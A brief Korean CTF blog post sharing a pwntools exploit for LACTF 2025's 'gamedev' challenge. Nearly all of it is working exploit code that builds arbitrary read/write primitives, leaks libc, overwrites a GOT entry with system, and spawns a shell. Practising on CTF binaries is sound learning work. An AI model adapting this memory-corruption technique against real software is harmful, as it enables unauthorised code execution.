- LACTF2025에서 출제되었던 gamedev 입니다. Do 선생님이 익스에 성공하시고, 잘 정리를 해주셔서 공부하는데 큰 도움이 되었습니다.
- Arbitrary address read, write 취약점을 이용한 문제입니다.
- 따로 추가적인 익스플로잇 정리를 진행하지는 않을 거 같아서 익스코드만 업데이트 하겠습니다.
- 해당 포스트도 도움이 되셨으면 좋겠습니다. 내일도 행복한 하루 되세요. 감사합니다. ^~^.
Environment
exploit.py
from pwn import *
p = process('./chall_patched')
e = ELF("./chall_patched")
libc = ELF("./libc.so.6")
context.binary = e
# context.log_level = 'debug'
def create(idx):
p.sendlineafter(b'Choice: ', b'1')
p.sendlineafter(b'index: ', str(idx).encode())
def edit(data):
p.sendlineafter(b'Choice: ', b'2')
p.sendlineafter(b'data: ',data)
def test():
p.sendlineafter(b'Choice: ', b'3')
p.recvuntil(b"data: ")
return p.recvline()
def explore(idx):
p.sendlineafter(b'Choice: ', b'4')
p.sendlineafter(b'index: ', str(idx).encode())
def reset():
p.sendlineafter(b'Choice: ', b'5')
def arb_read(addr):
create(0)
create(1)
explore(0)
edit(b'A'*0x38 + p64(addr - 0x40))
reset()
explore(1)
explore(1)
res = test()
reset()
return res
def arb_write(addr, data):
create(0)
create(1)
explore(0)
edit(b'A'*0x38 + p64(addr-0x40))
reset()
explore(1)
explore(1)
edit(data)
reset()
p.recvuntil(b'gift: ')
e.address=int(p.recvline()[:-1], 16) - e.sym.main
print(hex(e.address))
# print(arb_read(e.got.printf))
#libc.address=u64(arb_read(e.got.printf))-libc.sym.printf
libc.address = u64(arb_read(e.got.printf)[:8]) - libc.sym.printf
print(hex(libc.address))
arb_write(e.got.atoi, p64(libc.sym.system))
p.sendlineafter(b'Choice: ',b"/bin/sh")
p.interactive()